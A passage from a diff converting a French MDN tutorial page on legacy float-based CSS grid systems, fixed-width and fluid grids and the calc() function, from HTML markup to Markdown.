point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes. -<p>Gardons présent à l'esprit, en explorant ces systèmes, qu'aucun d'entre eux ne crée réellement une trame de la même manière que CSS Grid Layout. Leur mode de fonctionnement consiste à donner une taille aux objets et à les pousser pour les aligner d'une manière figurant une trame.</p> +Gardons présent à l'esprit, en explorant ces systèmes, qu'aucun d'entre eux ne crée réellement une trame de la même manière que CSS Grid Layout. Leur mode de fonctionnement consiste à donner une taille aux objets et à les pousser pour les aligner d'une manière figurant une trame. -<h2 id="Disposition_sur_deux_colonnes">Disposition sur deux colonnes</h2> +## Disposition sur deux colonnes -<p>Débutons avec l'exemple le plus simple qui soit — une disposition sur deux colonnes. Vous pouvez suivre en créant un nouveau fichier <code>index.html</code> sur l'ordinateur, en le remplissant avec le <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">modèle HTML simple</a> et en y insérant le code ci-dessous aux endroits appropriés. À la fin du paragraphe, vous verrez un exemple en direct de ce à quoi devrait ressembler le code final.</p> +Débutons avec l'exemple le plus simple qui soit — une disposition sur deux colonnes. Vous pouvez suivre en créant un nouveau fichier `index.html` sur l'ordinateur, en le remplissant avec le [modèle HTML simple](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) et en y insérant le code ci-dessous aux endroits appropriés. À la fin du paragraphe, vous verrez un exemple en direct de ce à quoi devrait ressembler le code final. -<p>Tout d'abord, nous avons besoin de contenu à mettre dans nos colonnes. Remplacez ce qui se trouve à l'intérieur de <code>body</code> par ceci :</p> +Tout d'abord, nous avons besoin de contenu à mettre dans nos colonnes. Remplacez ce qui se trouve à l'intérieur de `body` par ceci : -<pre class="brush: html"><h1>Exemple de disposition sur 2 colonnes</h1> -<div> - <h2>Première colonne</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -</div> +```html +<h1>Exemple de disposition sur 2 colonnes</h1> +<div> + <h2>Première colonne</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> -<div> - <h2>Seconde colonne</h2> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -</div></pre> +<div> + <h2>Seconde colonne</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> +``` -<p>Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre.</p> +Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre. -<p>Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration :</p> +Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration : -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 900px; margin: 0 auto; -}</pre> +} +``` -<p>Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS :</p> +Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS : -<pre class="brush: css">div:nth-of-type(1) { +```css +div:nth-of-type(1) { width: 48%; } div:nth-of-type(2) { width: 48%; -}</pre> +} +``` -<p>Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi :</p> +Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi : -<pre class="brush: css">div:nth-of-type(1) { +```css +div:nth-of-type(1) { width: 48%; float: left; } @@ -89,26 +106,29 @@ div:nth-of-type(2) { div:nth-of-type(2) { width: 48%; float: right; -}</pre> +} +``` -<p>En mettant tout ensemble, voici le résultat :</p> +En mettant tout ensemble, voici le résultat : -<h3>Exemple complet</h3> +### Exemple complet -<pre class="brush: html hidden"><h1>Exemple de disposition sur 2 colonnes</h1> +```html hidden +<h1>Exemple de disposition sur 2 colonnes</h1> -<div> - <h2>Première colonne</h2> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -</div> +<div> + <h2>Première colonne</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> -<div> - <h2>Seconde colonne</h2> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -</div> -</pre> +<div> + <h2>Seconde colonne</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 0 auto; @@ -123,60 +143,61 @@ div:nth-of-type(2) { width: 48%; float: right; } -</pre> +``` -<p>{{ EmbedLiveSample('Exemple_complet', '100%', 520) }}</p> +{{ EmbedLiveSample('Exemple_complet', '100%', 520) }} -<p>Notez que nous avons utilisé des pourcentages pour définir les largeurs — c'est la bonne stratégie, cela crée une <strong>disposition fluide</strong>, s'ajustant à diverses tailles d'écran et gardant les mêmes proportions pour les tailles d'écran plus petites. Modifiez la taille de la fenêtre du navigateur pour voir par vous‑même. C'est un outil adapté au désign web adaptatif.</p> +Notez que nous avons utilisé des pourcentages pour définir les largeurs — c'est la bonne stratégie, cela crée une **disposition fluide**, s'ajustant à diverses tailles d'écran et gardant les mêmes proportions pour les tailles d'écran plus petites. Modifiez la taille de la fenêtre du navigateur pour voir par vous‑même. C'est un outil adapté au désign web adaptatif. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir cet exemple en cours à la page <a href="http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a> (voyez aussi son <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html">code source</a>).</p> -</div> +> **Note :** Vous pouvez voir cet exemple en cours à la page [0_two-column-layout.html](http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html) (voyez aussi son [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html)). -<h2 id="Ancienne_création_d'un_cadre_de_trames">Ancienne création d'un cadre de trames</h2> +## Ancienne création d'un cadre de trames -<p>La plupart des anciens cadres de création de trames utilisaient le comportement de la propriété {{cssxref("float")}} pour faire flotter les colonnes les unes à côté des autres pour créer quelque chose qui ressemble à des trames. Travailler le processus de création d'une trame avec des boîtes flottantes vous en montre le fonctionnement et sert également d'introduction à certains concepts plus avancés pour construire les choses apprises dans la leçon sur le <a href="/fr/docs/Learn/CSS/CSS_layout/Floats">dégagement des boîtes flottantes</a>.</p> +La plupart des anciens cadres de création de trames utilisaient le comportement de la propriété {{cssxref("float")}} pour faire flotter les colonnes les unes à côté des autres pour créer quelque chose qui ressemble à des trames. Travailler le processus de création d'une trame avec des boîtes flottantes vous en montre le fonctionnement et sert également d'introduction à certains concepts plus avancés pour construire les choses apprises dans la leçon sur le [dégagement des boîtes flottantes](/fr/docs/Learn/CSS/CSS_layout/Floats). -<p>Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes.</p> +Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes. -<p>Dans les paragraphes suivants, nous verrons comment créer ces deux types. Nous allons faire une trame à 12 colonnes — un choix courant considéré comme adaptable à diverses situations étant donné que 12 est bien divisible par 6, 4, 3 et 2.</p> +Dans les paragraphes suivants, nous verrons comment créer ces deux types. Nous allons faire une trame à 12 colonnes — un choix courant considéré comme adaptable à diverses situations étant donné que 12 est bien divisible par 6, 4, 3 et 2. -<h3 id="Une_simple_trame_de_largeurs_fixes">Une simple trame de largeurs fixes</h3> +### Une simple trame de largeurs fixes -<p>Créons d'abord une trame à colonnes à largeur fixe.</p> +Créons d'abord une trame à colonnes à largeur fixe. -<p>Commençons par faire une copie locale du fichier exemple <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> qui comporte le balisage suivant dans <code>body</code>.</p> +Commençons par faire une copie locale du fichier exemple [simple-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html) qui comporte le balisage suivant dans `body`. -<pre class="brush: html"><div class="wrapper"> - <div class="row"> - <div class="col">1</div> - <div class="col">2</div> - <div class="col">3</div> - <div class="col">4</div> - <div class="col">5</div> - <div class="col">6</div> - <div class="col">7</div> - <div class="col">8</div> - <div class="col">9</div> - <div class="col">10</div> - <div class="col">11</div> - <div class="col">12</div> - </div> - <div class="row"> - <div class="col span1">13</div> - <div class="col span6">14</div> - <div class="col span3">15</div> - <div class="col span2">16</div> - </div> -</div></pre> +```html +<div class="wrapper"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col span1">13</div> + <div class="col span6">14</div> + <div class="col span3">15</div> + <div class="col span2">16</div> + </div> +</div> +``` -<p>Le but est d'en faire une trame de démonstration sur deux lignes à partir des 12 colonnes — la ligne haute montre la taille de colonnes prises isolément, la ligne basse montre des zones de taille différentes à partir de cette trame.</p> +Le but est d'en faire une trame de démonstration sur deux lignes à partir des 12 colonnes — la ligne haute montre la taille de colonnes prises isolément, la ligne basse montre des zones de taille différentes à partir de cette trame. -<p><img alt="" src="simple-grid-finished.png"></p> + -<p>À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de {{cssxref("box-sizing")}} à <code>border-box</code> sur tous les éléments du site (voir <a href="/fr/docs/Apprendre/CSS/Styling_boxes/Box_model_recap#Modification totale du modèle de boîte">Modification totale du modèle de boîte</a> pour plus d'explications).</p> +À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de {{cssxref("box-sizing")}} à `border-box` sur tous les éléments du site (voir [Modification totale du modèle de boîte](</fr/docs/Apprendre/CSS/Styling_boxes/Box_model_recap#Modification totale du modèle de boîte>) pour plus d'explications). -<pre class="brush: css">* { +```css +* { box-sizing: border-box; } @@ -187,40 +208,44 @@ body { .wrapper { padding-right: 20px; -}</pre> +} +``` -<p>Utilisez maintenant le conteneur enveloppe de chaque ligne de la trame pour dissocier et dégager chaque ligne. Ajoutez la règle suivante sous la règle précédente :</p> +Utilisez maintenant le conteneur enveloppe de chaque ligne de la trame pour dissocier et dégager chaque ligne. Ajoutez la règle suivante sous la règle précédente : -<pre class="brush: css">.row { +```css +.row { clear: both; -}</pre> +} +``` -<p>Appliquer ce dégagement signifie que nous n'avons pas besoin de remplir totalement chaque rangée (ligne) d'éléments remplissant totalement les douze colonnes. Les lignes resteront séparées et n'interfèreront pas entre elles.</p> +Appliquer ce dégagement signifie que nous n'avons pas besoin de remplir totalement chaque rangée (ligne) d'éléments remplissant totalement les douze colonnes. Les lignes resteront séparées et n'interfèreront pas entre elles. -<p>Les gouttières entre colonnes ont une largeur de 20 px. Ces gouttières sont faites en créant un marge du côté droit de chaque colonne ‑ y compris la première pour compenser le remplissage de 20 pixels du côté droit du conteneur. Nous avons donc 12 gouttières en tout — 12 x 20 = 240.</p> +Les gouttières entre colonnes ont une largeur de 20 px. Ces gouttières sont faites en créant un marge du côté droit de chaque colonne ‑ y compris la première pour compenser le remplissage de 20 pixels du côté droit du conteneur. Nous avons donc 12 gouttières en tout — 12 x 20 = 240. -<p>Il convient de soustraire cela de la largeur totale de 960 pixels, ce qui laisse 720 pixels pour les colonnes. En divisant par 12, nous voyons que chaque colonne aura une largeur de 60 pixels.</p> +Il convient de soustraire cela de la largeur totale de 960 pixels, ce qui laisse 720 pixels pour les colonnes. En divisant par 12, nous voyons que chaque colonne aura une largeur de 60 pixels. -<p>L'étape suivante consiste à créer un règle pour la classe <code>.col</code> la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS :</p> +L'étape suivante consiste à créer un règle pour la classe `.col` la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS : -<pre class="brush: css">.col { +```css +.col { float: left; margin-left: 20px; width: 60px; background: rgb(255, 150, 150); -}</pre> +} +``` -<p>La ligne supérieure des colonnes unitaires est maintenant disposées en tant que trame.</p> +La ligne supérieure des colonnes unitaires est maintenant disposées en tant que trame. -<div class="note"> -<p><strong>Note :</strong> Nous avons aussi donné à chaque colonne une couleur légèrement rosée pour que vous puissiez voir exactement l'espace pris par chacune.</p> -</div> +> **Note :** Nous avons aussi donné à chaque colonne une couleur légèrement rosée pour que vous puissiez voir exactement l'espace pris par chacune. -<p>Les conteneurs destinés à accueillir plusieurs colonnes doivent être d'une classe spéciale pour pouvoir ajuster leurs valeurs {{cssxref("width")}} en fonction du nombre de colonnes requis (plus les gouttières intermédiaires). Nous devons créer une classe supplémentaire pour permettre aux conteneurs de s'étendre de 2 à 12 colonnes. Cette largeur est le résultat de l'addition de la largeur de toutes les colonnes plus les largeurs des gouttières dont le nombre est toujours inférieur de 1 au nombre de colonnes.</p> +Les conteneurs destinés à accueillir plusieurs colonnes doivent être d'une classe spéciale pour pouvoir ajuster leurs valeurs {{cssxref("width")}} en fonction du nombre de colonnes requis (plus les gouttières intermédiaires). Nous devons créer une classe supplémentaire pour permettre aux conteneurs de s'étendre de 2 à 12 colonnes. Cette largeur est le résultat de l'addition de la largeur de toutes les colonnes plus les largeurs des gouttières dont le nombre est toujours inférieur de 1 au nombre de colonnes. -<p>Ajoutez ce qui suit en bas de la CSS :</p> +Ajoutez ce qui suit en bas de la CSS : -<pre class="brush: css">/* Deux largeurs de colonnes (120px) plus une largeur de gouttière (20px) */ +```css +/* Deux largeurs de colonnes (120px) plus une largeur de gouttière (20px) */ .col.span2 { width: 140px; } /* Trois largeurs de colonnes (180px) plus deux largeurs de gouttières (40px) */ .col.span3 { width: 220px; } @@ -233,50 +258,52 @@ body { .col.span9 { width: 700px; } .col.span10 { width: 780px; } .col.span11 { width: 860px; } -.col.span12 { width: 940px; }</pre> +.col.span12 { width: 940px; } +``` -<p>Une fois ces classes crées, nous pouvons disposer des colonnes de largeur différentes sur la trame. Enregistrez et chargez cette page dans le navigateur pour voir l'effet.</p> +Une fois ces classes crées, nous pouvons disposer des colonnes de largeur différentes sur la trame. Enregistrez et chargez cette page dans le navigateur pour voir l'effet. -<div class="note"> -<p><strong>Note :</strong> Si vous avez du mal à faire fonctionner cet exemple, comparez‑le avec notre <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">version terminée</a> sur GitHub (la voir aussi <a href="http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">en fonctionnement direct</a>).</p> -</div> +> **Note :** Si vous avez du mal à faire fonctionner cet exemple, comparez‑le avec notre [version terminée](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html) sur GitHub (la voir aussi [en fonctionnement direct](http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html)). -<p>Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci :</p> +Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci : -<pre class="brush: css"><div class="row"> - <div class="col span8">13</div> - <div class="col span4">14</div> -</div></pre> +```css +<div class="row"> + <div class="col span8">13</div> + <div class="col span4">14</div> +</div> +``` -<p>Maintenant vous avez un système de trame fonctionnel. Il suffit simplement de définir les lignes et le nombre de colonnes dans chaque ligne, puis de remplir chaque conteneur avec le contenu voulu. Super !</p> +Maintenant vous avez un système de trame fonctionnel. Il suffit simplement de définir les lignes et le nombre de colonnes dans chaque ligne, puis de remplir chaque conteneur avec le contenu voulu. Super ! -<h3 id="Creation_d'une_trame_fluide">Creation d'une trame fluide</h3> +### Creation d'une trame fluide -<p>Cette trame est tout à fait correcte, mais elle a une largeur fixe. Nous souhaitons vraiment une trame souple (fluide) qui s'élargisse ou s'étrécisse avec l'espace disponible dans la fenêtre de vue du navigateur. Pour ce faire, il faut transformer les largeurs de référence de pixels en pourcentages.</p> +Cette trame est tout à fait correcte, mais elle a une largeur fixe. Nous souhaitons vraiment une trame souple (fluide) qui s'élargisse ou s'étrécisse avec l'espace disponible dans la fenêtre de vue du navigateur. Pour ce faire, il faut transformer les largeurs de référence de pixels en pourcentages. -<p>L'équation qui transforme une largeur fixe en pourcentage est la suivante :</p> +L'équation qui transforme une largeur fixe en pourcentage est la suivante : -<pre>cible / contexte = résultat</pre> + cible / contexte = résultat -<p>Pour la largeur de la première colonne, la <strong>largeur cible</strong> est de 60 pixels et le <strong>contexte</strong> est l'enveloppe de 960 pixels. Avec la formule ci‑dessus nous calculons le pourcentage.</p> +Pour la largeur de la première colonne, la **largeur cible** est de 60 pixels et le **contexte** est l'enveloppe de 960 pixels. Avec la formule ci‑dessus nous calculons le pourcentage. -<pre>60 / 960 = 0.0625</pre> + 60 / 960 = 0.0625 -<p>Décalant de deux le point décimal nous obtenons un pourcentage de 6.25%. Donc, dans la CSS, nous pouvons remplacer la largeur de colonne de 60 pixels par 6.25%.</p> +Décalant de deux le point décimal nous obtenons un pourcentage de 6.25%. Donc, dans la CSS, nous pouvons remplacer la largeur de colonne de 60 pixels par 6.25%. -<p>En faisant de même pour la largeur de la gouttière :</p> +En faisant de même pour la largeur de la gouttière : -<pre>20 / 960 = 0.02083333333</pre> + 20 / 960 = 0.02083333333 -<p>Donc, remplaçons par 2.08333333% la valeur 20 pixels de {{cssxref("margin-left")}} dans la règle <code>.col</code> et de {{cssxref("padding-right")}} dans la règle <code>.wrapper</code>.</p> +Donc, remplaçons par 2.08333333% la valeur 20 pixels de {{cssxref("margin-left")}} dans la règle `.col` et de {{cssxref("padding-right")}} dans la règle `.wrapper`. -<h4 id="Mise_à_jour_de_la_trame">Mise à jour de la trame</h4> +#### Mise à jour de la trame -<p>Pour ce paragraphe, faites une autre copie de la page exemple précédente ou faites une copie locale du code de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">simple-grid-finished.html</a> comme point de départ.</p> +Pour ce paragraphe, faites une autre copie de la page exemple précédente ou faites une copie locale du code de [simple-grid-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html) comme point de départ. -<p>Mettez à jour la deuxième règle CSS (avec le sélecteur <code>.wrapper</code>) comme suit :</p> +Mettez à jour la deuxième règle CSS (avec le sélecteur `.wrapper`) comme suit : -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 980px; margin: 0 auto; @@ -284,24 +311,28 @@ body { .wrapper { padding-right: 2.08333333%; -}</pre> +} +``` -<p>Outre la définition du pourcentage comme valeur de {{cssxref("width")}}, nous avons ajouté la propriété {{cssxref("max-width")}} de façon à plafonner une mise en page qui deviendrait trop large.</p> +Outre la définition du pourcentage comme valeur de {{cssxref("width")}}, nous avons ajouté la propriété {{cssxref("max-width")}} de façon à plafonner une mise en page qui deviendrait trop large. -<p>Ensuite, mettez à jour les quatre règles CSS (du sélecteur <code>.col</code>) ainsi :</p> +Ensuite, mettez à jour les quatre règles CSS (du sélecteur `.col`) ainsi : -<pre class="brush: css">.col { +```css +.col { float: left; margin-left: 2.08333333%; width: 6.25%; background: rgb(255, 150, 150); -}</pre> +} +``` -<p>Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes les règles <code>.col.span</code> en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous.</p> +Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes les règles `.col.span` en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous. -<p>Mettez à jour le bloc bas des règles CSS avec ce qui suit :</p> +Mettez à jour le bloc bas des règles CSS avec ce qui suit : -<pre class="brush: css">/* Deux largeurs de colonnes (12.5%) plus une largeur de gouttière (2.08333333%) */ +```css +/* Deux largeurs de colonnes (12.5%) plus une largeur de gouttière (2.08333333%) */ .col.span2 { width: 14.58333333%; } /* Trois largeurs de colonnes (18.75%) plus deux largeurs de gouttière (4.1666666%) */ .col.span3 { width: 22.91666666%; } @@ -314,27 +345,29 @@ body { .col.span9 { width: 72.91666664%; } .col.span10 { width: 81.24999997%; } .col.span11 { width: 89.5833333%; } -.col.span12 { width: 97.91666663%; }</pre> +.col.span12 { width: 97.91666663%; } +``` -<p>Maintenant enregistrez le code, chargez le dans le navigateur et modifiez la largeur de vue — vous devez constater que la largeur des colonnes s'ajuste comme il convient.</p> +Maintenant enregistrez le code, chargez le dans le navigateur et modifiez la largeur de vue — vous devez constater que la largeur des colonnes s'ajuste comme il convient. -<div class="note"> -<p><strong>Note :</strong> Si vous avez du mal à faire fonctionner l'exemple ci‑dessus, comparez‑le avec notre <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">version terminée sur GitHub</a> (voir aussi celle <a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">s'exécutant en direct</a>).</p> -</div> +> **Note :** Si vous avez du mal à faire fonctionner l'exemple ci‑dessus, comparez‑le avec notre [version terminée sur GitHub](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html) (voir aussi celle [s'exécutant en direct](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html)). -<h3 id="Faciliter_les_calculs_avec_la_fonction_calc()">Faciliter les calculs avec la fonction calc()</h3> +### Faciliter les calculs avec la fonction calc() -<p>Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir <a href="/fr/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">cet exemple dans le didacticiel MediaRecorder API</a>.</p> +Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir [cet exemple dans le didacticiel MediaRecorder API](</fr/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()>). -<p>Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction <code>calc()</code> nous permet de faire ce calcul dans la valeur <code>width</code> même, ainsi pour tout élément au-delà de la 